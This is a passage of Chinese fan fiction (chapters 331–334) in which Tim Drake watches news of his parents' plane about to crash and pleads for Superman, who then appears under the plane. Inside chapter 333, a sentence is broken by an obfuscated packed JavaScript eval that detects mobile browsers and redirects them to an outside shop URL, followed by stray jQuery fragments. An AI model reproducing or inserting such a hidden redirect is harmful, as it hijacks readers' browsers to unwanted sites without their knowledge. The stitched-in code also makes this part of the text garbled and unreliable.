331


    四天后的早上，嘴上说着不在意的提姆，还是翻出了自己觉得穿上去最好看的西装，甚至用了韦恩的关系订了哥谭最好的餐厅。


    他本来还想去接机的，却遭到他们拒绝，但他在家里怎么都坐不住，最后硬是提前两个小时来到餐厅。


    “你好，先生。请问现在可以上菜了吗？”


    服务员第n次进入包厢，态度恭敬地问道。


    “等等，我问一下。”


    提姆再次看了眼手机，依旧没有收到父母落地的消息。


    明明按照时间他们应该早就到机场了……


    提姆心中升起隐隐的不安。


    总觉得自从半年前开始，他身边就没有再出现过任何好消息，这次不会也是…不，不会的，一定不会的！


    提姆摇摇头，甩出脑中的想法，抬头对着服务员微笑道，“不好意思，暂时还不用。”


    “好的。”高档餐厅的服务员闻言也没有表露出任何不满，鞠了一躬后准备离开。


    他打开包厢的房门，门外正好有两个年轻人路过。


    “哇，你看新闻了吗？听说有一架飞往哥谭的飞机出事了！”


    他的同伴纠正道，“是即将要出事，现在可还没降落呢。”


    “有什么区别，那群人都分析了，说根本不可能安全降落。以前超人还在的时候，还有生还的可能性。现在连超级小子都好几个月没出现过，还有谁能在飞机失事的时候救下他们。”


    “哦。”同伴做作地擦擦眼泪，嘴角的弧度却充满幸灾乐祸。


    “真是可怜。不过要怪只能怪那些人运气不好，为什么非要现在上这趟飞机。明明再早几个月，可就有——嘿！”


    同伴捂着被撞疼的肩膀，不满地大喊，但从他身旁跑出去的人却跟个兔子似的，只是抬个头的瞬间就连衣角都看不到了。


    “该死的，这人谁啊！信不信我让我爸——”


    “这位客人。”


    服务员恭敬地打断他的话。


    “这位是德雷克家的少爷，如果您因此受了伤，我想您可以在经过评估鉴定后，把相关资料发给德雷克家的法务部。”


    “当然韦恩企业也可以，我想他们都很愿意处理这些问题。”


    “德雷克和韦恩？”同伴吓了一跳，“他难道是那位？”


    两人对视一眼，同时冒出了歪脑筋。毕竟这位传说中的少爷可是非常好说话的，说不定他们这次能……


    知道些许情况的服务员微笑地看着两人，内心则暗自想道。


    就是不知道如果传闻是真的话，到时的德雷克先生还会不会那么好说话了。


    332


    不，不！这不可能！不会那么巧的，不会那么倒霉的！


    提姆从酒店飞奔出来，向来机敏的大脑此时却一片空白。


    他根本不知道自己要去哪里，又要干什么。他只是下意识地在狂奔，在寻找。


    不可能的，这一定不可能的。


    提姆恍惚间，突然被什么东西绊倒，他踉跄几步，差点摔飞出去，但这也让他稍微回过神，立刻把手机掏出来。


    巧合，只是巧合而已。


    不要多想，提莫西·德雷克！不要多想！！


    提姆翻出新闻，翻出定位，翻出机票，翻出他们之间的对话，他翻出一切的一切仔细地、反复地、一遍又一遍地核对。


    他不想相信，他更不愿意相信。


    可命运就是不会放过他。


    “嘭！”


    手机摔落在地，提姆眼前开始发黑，他抬起头茫然地看着天空，高楼、天空、云彩开始旋转扭曲。


    巨大的嗡鸣声在他耳边回响，他恍惚地看着四周，熟悉的一切突然变得那么的陌生，那么的遥远。


    他会不会只是在做梦，这一切都只是他因为过度焦虑产生的噩梦对吧？


    “……根据专家判断，飞机能安全降落的概率只有0.001%。”


    “而这0.001%的可能还是超人家族的人复活，或者我们能祈祷又有新的超人家族诞生？”


    耳边突然传来一道声音，提姆恍惚地抬起头，发现自己不知何时来到广场中央，面前商场的大屏上被切换到播报飞机的频道。


    好事的人群开始聚集，他们三三两两地凑在一起看着新闻，各种窃窃私语


    他们或同情，或叹息，或幸灾乐祸。


    他们只是在看一场事故，在看一场惨剧，在看未来的一场谈资。


    唯有提姆，他大庭广众之下，他在人群中间，亲眼见证自己父母的死亡。


    提姆直愣愣地盯着大屏幕，身体僵直，微微颤抖。他双眼一眨不眨，直到酸涩泛红，泪水不受控制地涌出。


    那么多的泪水，那么绝望的泪水大股大股地顺着苍白的脸落下。


    他听到自己的灵魂在呐喊，在尖叫，在祈求。


    求求了。


    求求你们，救救我的父母吧。


    333


    新闻上的主持人已经顺着刚才的话题，讨论到超人的身上。


    哪怕超人已经死去两三年，人们依旧会怀念他，尤其是在他们遇到危险的时候，越大的危险，人们的赞美就越多，怀念就越深。


    不过也可能是因为只有在遇到这样的事情时，人们才能意识到在那相对于人类历史而言，短暂的十几年时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733610|183332||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    间里，超人身体力行地、反复地向人们证实了一件事。


    神明无法做到的事情，超人可以。


    人群越来越多，周围有人注意到提姆的情况，但他们只是投来冷漠的一瞥。


    没有人去安慰，也没有人在意，他们唯一的一点好心可能就是给他让出了一小点空间。


    一个人被挤得碰了提姆一下。


    只是一下，他就脱力般摔倒在地。


    所有人噔噔又后退几步，震惊而警惕地看着提姆。


    但提姆只是呆呆地看着大屏，像是一个娃娃一般寂静而绝望地流着泪。


    他在那一道道声音里想到了布鲁斯，想到了杰森，想到了克拉克所创造的那些奇迹。


    似乎只有超人才总能创造奇迹，或许他能……不，超人早就死了！


    提姆狠狠给了自己一巴掌，他觉得自己太可笑了。


    提姆捂着嘴，哈哈大笑起来，他笑得浑身颤抖，笑得像是一个癫狂的疯子。


    提莫西·德雷克！你这个无能而蠢笨的家伙，你自己做不到的事情，竟然在这里奢求一个死人来创造奇迹！


    世界上没有奇迹，也不会再有奇迹了。


    就算他们说超人会是蝙蝠家的守护神，就算他们说克拉克永远会为了布鲁斯创造奇迹，但是。


    你算什么呢？


    你什么都不是，你和他之间更没有多么深厚的感情。


    就这样你竟然在妄想超人也能为你创造奇迹，你竟然想要神明为了你跨越生死。


    你怎么敢的！


    提姆在内心疯狂地斥责着自己。


    但是，但是啊……


    提姆抱紧自己，绝望地匍匐在地，泪水甚至要浸透这片土地，他发出哽咽而绝望的哀鸣。


    “求求你……超人，求求你帮帮我，求求你救救我的父母。”


    334


    “等等，那是什么？”


    “天啊！你们快看！”


    “上帝啊，这怎么可能！！”


    “fuck！我是在做梦吧？！这TM到底怎么回事？”


    “窝草了！我是不是吃蘑菇吃出幻觉了！！快，你快打我一巴掌！那个该不会真的是他吧！？”


    提姆在一片惊呼尖叫里茫然地抬起头。


    透过被泪水模糊的视线，他看到了慌乱的人群，看到了尖叫的主持人，看到了那群本来以闲谈的姿态提起，现在却喊着喊着开始捂嘴痛哭的人群。


    最后，他看到那架飞机底下的一抹鲜艳的红色。


    提姆瞳孔猛地一缩，他嘴巴张张合合和地球上无数正在见证这一幕的人一起念出那个名字。


    “超人！？”